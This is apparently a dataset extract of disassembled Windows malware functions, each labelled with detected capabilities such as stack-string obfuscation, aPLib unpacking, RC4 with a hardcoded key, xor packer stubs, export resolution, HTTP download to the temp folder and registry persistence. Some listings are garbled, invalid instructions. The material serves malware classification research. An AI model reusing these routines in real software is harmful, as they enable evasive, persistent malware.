joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402d00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push 0x405054
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov cl, 0x65
mov dl, 0x6e
mov byte [esp + 3], cl
mov byte [esp + 6], cl
mov byte [esp + 0xc], cl
mov byte [esp + 0x12], cl
lea ecx, [esp]
mov byte [esp], 0x49
push ecx
push eax
mov byte [esp + 9], dl
mov byte [esp + 0xa], 0x74
mov byte [esp + 0xc], 0x72
mov byte [esp + 0xd], dl
mov byte [esp + 0xf], 0x74
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x6c
mov byte [esp + 0x12], 0x6f
mov byte [esp + 0x13], 0x73
mov byte [esp + 0x15], 0x48
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], dl
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x6c
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x402d8a
mov edx, dword [esp + 0x18]
push edx
call eax
add esp, 0x14
ret
mov eax, dword [esp + 0x18]
add esp, 0x14
ret

Function at 0x402da0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push 0x405054
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov cl, 0x65
mov dl, 0x72
mov byte [esp + 1], cl
mov byte [esp + 3], cl
mov byte [esp + 5], cl
mov byte [esp + 0xd], cl
lea ecx, [esp]
mov byte [esp], 0x44
push ecx
push eax
mov byte [esp + 0xa], 0x6c
mov byte [esp + 0xc], 0x74
mov byte [esp + 0xe], 0x55
mov byte [esp + 0xf], dl
mov byte [esp + 0x10], 0x6c
mov byte [esp + 0x11], 0x43
mov byte [esp + 0x12], 0x61
mov byte [esp + 0x13], 0x63
mov byte [esp + 0x14], 0x68
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x6e
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], dl
mov byte [esp + 0x1a], 0x79
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x402e30
mov edx, dword [esp + 0x1c]
push edx
call eax
add esp, 0x18
ret
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret

Function at 0x416ead
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.00416f2c
jae 0x416eb9
xor ecx, ecx
call fcn.00416f2c
jae 0x416ee3
xor eax, eax
call fcn.00416f2c
jae 0x416ef4
mov al, 0x10
call fcn.00416f2c
adc al, al
jae 0x416ed5
jne 0x416f21
stosb byte es:[edi], al
jmp 0x416eba
call fcn.00416f38
dec ecx
loop 0x416f00
mov eax, ebp
call fcn.00416f36
jmp 0x416f22
lodsb al, byte [esi]
shr eax, 1
je 0x416f48
adc ecx, 2
mov ebp, eax
jmp 0x416f22
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.00416f36
cmp eax, 0x7d00
jae 0x416f20
cmp eax, 0x500
jae 0x416f21
cmp eax, 0x7f
ja 0x416f22
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x416eba
pop ebp
ret 8
Function at 0x4012a4
Capabilities:
Encode data using base64

Disassembly:
push ebp
push esi
push edi
push ebx
mov esi, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
test ebp, ebp
je 0x401322
mov al, byte [esi]
mov dl, byte [esi + 1]
mov bl, byte [esi + 2]
mov ah, al
mov dh, dl
mov bh, bl
and ah, 3
and dh, 0xf
and bh, 0x3f
shr al, 2
shr dl, 4
shr bl, 6
shl ah, 4
shl dh, 2
or ah, dl
or bl, dh
movzx edx, al
movzx ecx, ah
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov ah, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movzx edx, bl
movzx ecx, bh
mov bl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov bh, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
and eax, 0xffff
shl ebx, 0x10
add esi, 3
or eax, ebx
stosd dword es:[edi], eax
sub ebp, 3
jns 0x4012b4
add edi, ebp
mov byte [edi], 0x3d
inc edi
inc ebp
jne 0x40131b
mov eax, edi
pop ebx
mov word [eax], bp
pop edi
pop esi
sub eax, dword [esp + 0x10]
pop ebp
ret 0xc
Function at 0x401582
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push ebp
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x4015ac
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x401594
add dl, dl
jne 0x4015b7
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x401608
xor eax, eax
add dl, dl
jne 0x4015c4
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4016a5
add dl, dl
jne 0x4015d3
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4015de
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4015e9
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4015f4
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x4015fe
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x4015a3
mov eax, 1
add dl, dl
jne 0x401616
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x401621
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x40160d
sub eax, ebx
mov ebx, 1
jne 0x401654
mov ecx, 1
add dl, dl
jne 0x40163a
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x401645
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x401631
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4015a3
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x40166b
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x401676
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x401662
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4015a3
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x4016c6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x4015a3
pop ebp
sub edi, dword [ebp + 0xc]
mov eax, edi
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop ebp
ret 8

Function at 0x4017aa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
push edi
xor eax, eax
mov dword [0x410cce], eax
mov dword [0x410cd2], eax
mov ecx, 0x40
lea esi, [0x410abe]
lea edi, [0x410bbe]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp + 8]
mov edx, dword [0x410cce]
mov ecx, dword [ebp + 0xc]
mov ebx, dword [0x410cd2]
dec edi
xor eax, eax
add bl, byte [edx + 0x410bbf]
mov al, byte [edx + 0x410bbf]
mov ch, byte [ebx + 0x410bbe]
mov byte [ebx + 0x410bbe], al
mov byte [edx + 0x410bbf], ch
add al, ch
inc edi
mov al, byte [eax + 0x410bbe]
inc dl
xor byte [edi], al
dec cl
jne 0x4017e6
mov dword [0x410cce], edx
mov dword [0x410cd2], ebx
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop ebp
ret 8
Function at 0x401f0f
Capabilities:
Check os version
Get number of processors

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
mov eax, dword fs:[0x30]
mov esi, dword [eax + 0xa4]
mov edi, dword [eax + 0xa8]
cmp esi, 5
jne 0x401f30
cmp edi, 1
jb 0x401f35
cmp esi, 5
jae 0x401f45
mov eax, 0
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
cmp esi, 5
jne 0x401f5f
cmp edi, 1
jne 0x401f5f
mov eax, 0x33
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
cmp esi, 5
jne 0x401f79
cmp edi, 2
jne 0x401f79
mov eax, 0x34
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
cmp esi, 6
jne 0x401f8f
test edi, edi
jne 0x401f8f
mov eax, 0x3c
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
cmp esi, 6
jne 0x401fa6
cmp edi, 1
jne 0x401fa6
mov eax, 0x3d
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
cmp esi, 6
jne 0x401fbd
cmp edi, 2
jne 0x401fbd
mov eax, 0x3e
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
cmp esi, 6
jne 0x401fd4
cmp edi, 3
jne 0x401fd4
mov eax, 0x3f
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
cmp esi, 0xa
jne 0x401fea
test edi, edi
jne 0x401fea
mov eax, 0x64
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
cmp esi, 0xa
jne 0x401ff4
cmp edi, 0
ja 0x401ff9
cmp esi, 0xa
jbe 0x402004
mov eax, 0x7fffffff
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov eax, 0xffffffff
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x47231d9b
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0xa5c14e1
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x406840
Capabilities:
Connect socket

Disassembly:
mov dword [edx], ebx
and byte [esi], al
invalid
push ebp
mov ebp, esp
cmp ecx, 0x210
or byte [ebx + 0x5756085d], cl
mov eax, dword [ebx - 0x66]
cmp eax, 0xffffffff
je 0x4069ef
scasb al, byte es:[edi]
dec ebx
adc byte [0x89e70fc9], cl
add dword [eax], eax
jl 0x4067f2
jne 0x406849
dec byte [esi + 0x14]
dec ebp
mov byte [eax], ch
jg 0x406865
push eax
call dword [sym.imp.WSOCK32.dll_connect]
cmp eax, 0xffffffff
jne 0x4069b8
mov eax, dword [eax]
fadd st(1)
inc eax
add bh, bh
salc
test dword [edi], ebp
je 0xe40dc8a
call dword [edx + 0x5afc8005]
add byte [0xb23b3], bh
jne 0x40a5f4
mov edi, dword [ebx + 0x20]
mov esi, dword [ebx + 0x24]
pop ss
invalid
mov esi, dword [ebp + 0x147389bb]
cmp word [eax + 0x2a], 0x7c
jne 0x406a35
mov dword [ebx + 0x2c], 1
mov ecx, dword [eax + 0x12]
jo 0x4069f2
mov edi, 0xac042c
xor esi, edi
repe cmpsb byte [esi], byte es:[edi]
out 0xad, al
pop edi
invalid
mov eax, 0x975ef
or dword [eax], eax
push 0x8b5b5e
retf
mov eax, dword [edx + 0x5d]
ret
inc ebp
jno 0x40a671
pop edx
sbb byte [esi + 0x59cf3de3], bh
cld
invalid

Function at 0x40a2d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sar byte [edi + 0x24], 1
loope 0x40a31c
in eax, 0
invalid
mov ebp, 0xd231277a

Function at 0x40a340
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x40a34e
mov ebp, esp
jmp 0x40a35a
mov edx, dword [edx + 0x14]
jmp 0x40a368
mov esi, dword [edx + 0x28]
jmp 0x40a37a
xor edi, edi
movzx ecx, word [edx + 0x26]
nop
jmp 0x40a38b
nop
jmp 0x40a39a
xor eax, eax
jmp 0x40a3a7
lodsb al, byte [esi]
cmp al, 0x61
jmp 0x40a3b8
jl 0x40a3eb
nop
jmp 0x40a3c9
nop
jmp 0x40a3d8
sub al, 0x20
nop
jmp 0x40a3eb
nop
ror edi, 0xd
nop
add edi, eax
nop
jmp 0x40a404
dec ecx
jmp 0x40a414
jne 0x40a38b
nop
jmp 0x40a426
jmp 0x40a431
push edx
nop
jmp 0x40a443
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
push edi
nop
jmp 0x40a45b
add eax, edx
mov eax, dword [eax + 0x78]
nop
test eax, eax
jmp 0x40a472
je 0x40a639
nop
add eax, edx
nop
mov ecx, dword [eax + 0x18]
nop
push eax
jmp 0x40a490
mov ebx, dword [eax + 0x20]
jmp 0x40a4a2
add ebx, edx
nop
jmp 0x40a4af
invalid
Function at 0x4016c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [0x405e18]
cmp eax, 0x270
jl 0x40168c
push esi
push edi
xor esi, esi
mov edx, 0x7fffffff
mov ecx, esi
mov eax, dword [ecx*4 + 0x40545c]
xor eax, dword [ecx*4 + 0x405458]
and eax, edx
xor eax, dword [ecx*4 + 0x405458]
mov edi, eax
shr eax, 1
and edi, 1
xor eax, dword [edi*4 + section..data]
xor eax, dword [ecx*4 + 0x405a8c]
inc esi
mov dword [ecx*4 + 0x405458], eax
cmp esi, 0xe3
jl 0x4015e5
cmp esi, 0x26f
jge 0x40165e
lea ecx, [esi*4 + 0x405458]
mov eax, dword [ecx]
xor eax, dword [ecx + 4]
and eax, edx
xor eax, dword [ecx]
mov edi, eax
and edi, 1
mov edi, dword [edi*4 + section..data]
xor edi, dword [ecx - 0x38c]
shr eax, 1
xor edi, eax
mov dword [ecx], edi
add ecx, 4
cmp ecx, 0x405e14
jl 0x401632
mov ecx, dword [0x405e14]
mov eax, dword [0x405458]
xor eax, ecx
and eax, edx
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
xor eax, dword [ecx*4 + section..data]
pop edi
xor eax, dword [0x405a88]
pop esi
mov dword [0x405e14], eax
xor eax, eax
mov ecx, dword [eax*4 + 0x405458]
inc eax
mov dword [0x405e18], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [0x405450]
je 0x401707
mov dword [0x405450], eax
mov dword [0x405458], eax
xor eax, eax
inc eax
mov ecx, 0x405458
push esi
mov edx, dword [ecx]
mov esi, edx
shr esi, 0x1e
xor esi, edx
imul esi, esi, 0x6c078965
add esi, eax
mov dword [ecx + 4], esi
add ecx, 4
inc eax
cmp ecx, 0x405e14
jl 0x4016e1
mov dword [0x405e18], eax
pop esi
jmp 0x4015cc

Function at 0x401735
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp byte [0x405454], 0
jne 0x401771
xor ecx, ecx
push 8
mov eax, ecx
pop edx
test al, 1
je 0x401755
shr eax, 1
xor eax, 0xedb88320
jmp 0x401757
shr eax, 1
dec edx
jne 0x401748
mov dword [ecx*4 + 0x405050], eax
inc ecx
cmp ecx, 0x100
jb 0x401743
mov byte [0x405454], 1
xor ecx, ecx
or eax, 0xffffffff
cmp dword [ebp + 0xc], ecx
jbe 0x40179a
mov edx, dword [ebp + 8]
movzx edx, byte [ecx + edx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x405050]
inc ecx
cmp ecx, dword [ebp + 0xc]
jb 0x40177b
not eax
pop ebp
ret
Function at 0x40179e
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
push esi
push edi
xor edi, edi
xor eax, eax
mov dword [ebp + eax*4 - 0x404], eax
inc eax
cmp eax, 0x100
jl 0x4017ae
xor ecx, ecx
push 0x14
xor edx, edx
mov eax, ecx
pop ebx
div ebx
lea esi, [ebp + ecx*4 - 0x404]
movzx eax, byte [edx + str.12mamzofaooamo2m1kajjsmdjmofpq393]
add eax, dword [esi]
add edi, eax
and edi, 0x800000ff
jns 0x4017ea
dec edi
or edi, 0xffffff00
inc edi
mov dl, byte [esi]
lea eax, [ebp + edi*4 - 0x404]
mov ebx, dword [eax]
movzx edx, dl
inc ecx
mov dword [esi], ebx
mov dword [eax], edx
cmp ecx, 0x100
jl 0x4017bf
xor ebx, ebx
inc ecx
and ecx, 0x800000ff
jns 0x401818
dec ecx
or ecx, 0xffffff00
inc ecx
lea eax, [ebp + ecx*4 - 0x404]
mov edx, dword [eax]
add edi, edx
and edi, 0x800000ff
jns 0x401833
dec edi
or edi, 0xffffff00
inc edi
lea esi, [ebp + edi*4 - 0x404]
mov byte [ebp - 1], dl
mov edx, dword [esi]
mov dword [eax], edx
movzx edx, byte [ebp - 1]
mov dword [esi], edx
mov eax, dword [eax]
mov esi, dword [ebp + 8]
add eax, edx
and eax, 0x800000ff
jns 0x40185c
dec eax
or eax, 0xffffff00
inc eax
mov al, byte [ebp + eax*4 - 0x404]
xor byte [esi + ebx], al
inc ebx
cmp ebx, 0x48
jb 0x401807
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x401873
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
movzx eax, ax
imul eax, eax, 0xc
push edi
add eax, 0x404390
xor edi, edi
cmp dword [eax + 4], edi
jbe 0x4018a4
xor ecx, ecx
mov edx, dword [eax + 8]
movzx edx, byte [ecx + edx]
xor dl, byte [eax]
and edx, 0xff
inc edi
mov word [esi + ecx*2], dx
movzx ecx, di
cmp ecx, dword [eax + 4]
jb 0x401888
mov eax, dword [eax + 4]
xor ecx, ecx
mov word [esi + eax*2], cx
pop edi
ret

Function at 0x401965
Capabilities:
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
push 0xe
lea esi, [ebp - 8]
pop eax
call fcn.00401873
push 0xf
lea esi, [ebp - 0x14]
pop eax
call fcn.00401873
xor esi, esi
lea eax, [ebp - 8]
cmp dword [ebp + 0x10], esi
je 0x401990
lea eax, [ebp - 0x14]
push esi
push 0x8404f700
push esi
push esi
push esi
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
cmp edi, esi
je 0x4019d6
mov eax, dword [ebp + 0x10]
neg eax
sbb eax, eax
and eax, dword [ebp + 0x14]
push eax
push dword [ebp + 0x10]
push esi
push esi
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x4019cb
mov eax, edi
jmp 0x4019df
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x18]
mov dword [ecx], eax
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x401a07
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, 0x800
xor ebx, ebx
push esi
push ebx
jmp 0x401a42
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [edi + ebx]
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401a52
cmp dword [ebp - 4], 0
je 0x401a56
add ebx, dword [ebp - 4]
lea eax, [ebx + 0x800]
push eax
push edi
mov dword [ebp - 4], esi
call fcn.00402472
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x401a19
xor eax, eax
jmp 0x401a61
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
mov dword [eax + 4], ebx
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401cc2
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
push ebx
push esi
push edi
mov edi, 0x104
push edi
call fcn.0040245c
push edi
mov dword [ebp - 4], eax
call fcn.0040245c
push edi
mov ebx, eax
call fcn.0040245c
add esp, 0xc
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
cmp eax, 1
jne 0x401da3
lea esi, [ebp - 0xb8]
xor eax, eax
call fcn.00401873
xor eax, eax
lea esi, [ebp - 0x34]
inc eax
call fcn.00401873
push dword [ebp - 0x10]
lea eax, [ebp - 0xb8]
push eax
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 1
push 0
push ebx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401d60
push edi
push dword [ebp - 4]
mov eax, esi
push eax
lea esi, [ebp - 8]
call fcn.00402568
add esp, 0xc
mov esi, eax
jmp 0x401d62
mov esi, edi
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_PathUnquoteSpacesW]
push edi
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test esi, esi
je 0x401da3
push dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
push ebx
push esi
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test eax, eax
je 0x401da3
push ebx
call fcn.004024a1
pop ecx
push dword [ebp - 4]
call fcn.004024a1
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
xor esi, esi
jmp 0x401d93
Function at 0x401de1
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [0x405048]
push dword [eax]
mov edi, 0x80000003
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
test eax, eax
je 0x401ea7
cmp dword [0x405044], 0x3f
jae 0x401e34
push 3
lea esi, [ebp - 0x6c]
pop eax
dec edi
call fcn.00401873
mov eax, esi
push eax
lea eax, [ebp - 0x474]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
pop ecx
pop ecx
jmp 0x401e55
push 2
lea esi, [ebp - 0x74]
pop eax
call fcn.00401873
push dword [ebp - 4]
mov eax, esi
push eax
lea eax, [ebp - 0x474]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 2
xor ebx, ebx
push ebx
lea eax, [ebp - 0x474]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401ea7
push dword [ebp + 0x10]
xor esi, esi
push dword [ebp + 0xc]
inc esi
push esi
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401e8d
mov ebx, esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp ebx, esi
jne 0x401ea7
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
jmp 0x401ea9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4020d1
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x40504c]
sub esp, 0xc8
push esi
push dword [eax + 0xc]
lea ecx, [ebp - 0xc8]
push dword [eax + 4]
mov eax, 0x405014
call fcn.00401ff0
pop ecx
pop ecx
lea eax, [ebp - 0xc8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x402120
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402120
mov eax, esi
jmp 0x402129
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
leave
ret

Function at 0x4021c3
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push esi
push edi
push dword [ebp + 8]
call fcn.004022d2
pop ecx
mov edi, eax
push 7
lea esi, [ebp - 0x64]
pop eax
call fcn.00401873
push 8
lea esi, [ebp - 0x14]
pop eax
call fcn.00401873
cmp dword [0x405044], 0x3f
lea ecx, [ebp - 4]
push ecx
sbb eax, eax
push 2
xor esi, esi
push esi
neg eax
lea ecx, [ebp - 0x64]
add eax, 0x80000001
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402235
push 0x48
push edi
push 3
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40222c
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
pop edi
setne al
pop esi
leave
ret
Function at 0x402946
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x62c
push ebx
push esi
mov esi, eax
mov eax, dword [esi + 4]
xor ebx, ebx
push edi
test eax, eax
je 0x402a23
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsURLW]
cmp eax, 1
jne 0x402a23
mov ecx, dword [esi + 4]
call fcn.00402c53
push eax
push ecx
lea edi, [ebp - 0x10]
call fcn.00402eb9
pop ecx
pop ecx
test eax, eax
je 0x402a23
push dword [ebp - 0xc]
lea esi, [ebp - 8]
push dword [ebp - 0x10]
push dword [0x40502c]
call fcn.00401a66
add esp, 0xc
test eax, eax
je 0x402a23
lea eax, [ebp - 0x420]
push 1
push eax
mov al, 5
call fcn.00402f22
pop ecx
pop ecx
lea eax, [ebp - 0x628]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x402a1a
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x628]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test eax, eax
je 0x402a1a
push dword [ebp - 4]
lea eax, [ebp - 0x218]
push dword [ebp - 8]
push eax
call fcn.00403361
add esp, 0xc
test eax, eax
je 0x402a1a
lea eax, [ebp - 0x218]
push eax
call fcn.00403445
pop ecx
test eax, eax
je 0x402a1a
inc ebx
push dword [ebp - 8]
call fcn.004024a1
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x402e87
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
mov dword [ebp - 4], esi
cmp dword [ebp + 8], esi
je 0x402eb4
lea eax, [ebp - 4]
push eax
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x402eb6
xor eax, eax
pop esi
leave
ret

Function at 0x402eb9
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push 0x3c
pop edx
push edx
push 0
lea eax, [ebp - 0x3c]
push eax
call fcn.004024b7
lea eax, [ebp - 0x3c]
push eax
push 0
push dword [ebp + 0xc]
xor esi, esi
push dword [ebp + 8]
inc esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x28], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x402f1f
push dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.00402c67
